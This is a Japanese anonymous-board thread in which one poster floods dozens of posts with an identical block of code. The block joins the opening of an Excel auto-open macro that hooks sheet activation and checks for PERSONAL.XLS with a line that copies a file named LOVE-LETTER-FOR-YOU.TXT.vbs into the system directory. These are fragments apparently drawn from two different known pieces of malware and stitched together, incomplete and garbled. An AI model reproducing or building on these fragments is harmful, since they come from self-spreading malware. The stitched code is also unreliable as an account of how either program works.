c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

846 番組の途中ですが名無しです :2012/01/31(火) 21:56:34 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

847 番組の途中ですが名無しです :2012/01/31(火) 21:57:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

848 番組の途中ですが名無しです :2012/01/31(火) 21:57:36 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

849 番組の途中ですが名無しです :2012/01/31(火) 21:58:08 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

850 番組の途中ですが名無しです :2012/01/31(火) 21:58:39 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

851 番組の途中ですが名無しです :2012/01/31(火) 21:59:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

852 番組の途中ですが名無しです :2012/01/31(火) 21:59:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

853 番組の途中ですが名無しです :2012/01/31(火) 22:00:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

854 番組の途中ですが名無しです :2012/01/31(火) 22:00:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

855 番組の途中ですが名無しです :2012/01/31(火) 22:01:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

856 番組の途中ですが名無しです :2012/01/31(火) 22:01:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

857 番組の途中ですが名無しです :2012/01/31(火) 22:02:17 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

858 番組の途中ですが名無しです :2012/01/31(火) 22:02:48 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

859 番組の途中ですが名無しです :2012/01/31(火) 22:03:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

860 番組の途中ですが名無しです :2012/01/31(火) 22:03:49 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

861 番組の途中ですが名無しです :2012/01/31(火) 22:04:20 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

862 番組の途中ですが名無しです :2012/01/31(火) 22:04:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

863 番組の途中ですが名無しです :2012/01/31(火) 22:05:15 ID:ES7w6WWw
.

864 番組の途中ですが名無しです :2012/01/31(火) 22:05:22 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

865 番組の途中ですが名無しです :2012/01/31(火) 22:05:55 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

866 番組の途中ですが名無しです :2012/01/31(火) 22:06:26 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

867 番組の途中ですが名無しです :2012/01/31(火) 22:06:57 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

868 番組の途中ですが名無しです :2012/01/31(火) 22:07:29 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

869 番組の途中ですが名無しです :2012/01/31(火) 22:08:00 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

870 番組の途中ですが名無しです :2012/01/31(火) 22:08:32 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

871 番組の途中ですが名無しです :2012/01/31(火) 22:09:03 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

872 番組の途中ですが名無しです :2012/01/31(火) 22:09:34 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

873 番組の途中ですが名無しです :2012/01/31(火) 22:10:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

874 番組の途中ですが名無しです :2012/01/31(火) 22:10:36 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

875 番組の途中ですが名無しです :2012/01/31(火) 22:11:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

876 番組の途中ですが名無しです :2012/01/31(火) 22:11:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

877 番組の途中ですが名無しです :2012/01/31(火) 22:12:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

878 番組の途中ですが名無しです :2012/01/31(火) 22:12:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

879 番組の途中ですが名無しです :2012/01/31(火) 22:13:12 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

880 番組の途中ですが名無しです :2012/01/31(火) 22:13:45 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

881 番組の途中ですが名無しです :2012/01/31(火) 22:14:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

882 番組の途中ですが名無しです :2012/01/31(火) 22:14:47 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

883 番組の途中ですが名無しです :2012/01/31(火) 22:15:18 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

884 番組の途中ですが名無しです :2012/01/31(火) 22:15:49 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

885 番組の途中ですが名無しです :2012/01/31(火) 22:16:21 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

886 番組の途中ですが名無しです :2012/01/31(火) 22:16:52 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

887 番組の途中ですが名無しです :2012/01/31(火) 22:17:23 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

888 番組の途中ですが名無しです :2012/01/31(火) 22:17:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

889 番組の途中ですが名無しです :2012/01/31(火) 22:18:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

890 番組の途中ですが名無しです :2012/01/31(火) 22:18:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

891 番組の途中ですが名無しです :2012/01/31(火) 22:19:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

892 番組の途中ですが名無しです :2012/01/31(火) 22:20:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

893 番組の途中ですが名無しです :2012/01/31(火) 22:20:39 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

894 番組の途中ですが名無しです :2012/01/31(火) 22:21:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

895 番組の途中ですが名無しです :2012/01/31(火) 22:21:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

896 番組の途中ですが名無しです :2012/01/31(火) 22:22:12 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

897 番組の途中ですが名無しです :2012/01/31(火) 22:22:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

898 番組の途中ですが名無しです :2012/01/31(火) 22:23:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

899 番組の途中ですが名無しです :2012/01/31(火) 22:23:47 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

900 番組の途中ですが名無しです :2012/01/31(火) 22:24:18 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

901 番組の途中ですが名無しです :2012/01/31(火) 22:24:49 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

902 番組の途中ですが名無しです :2012/01/31(火) 22:25:21 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

903 番組の途中ですが名無しです :2012/01/31(火) 22:25:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

904 番組の途中ですが名無しです :2012/01/31(火) 22:26:22 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

905 番組の途中ですが名無しです :2012/01/31(火) 22:26:53 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

906 番組の途中ですが名無しです :2012/01/31(火) 22:27:24 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

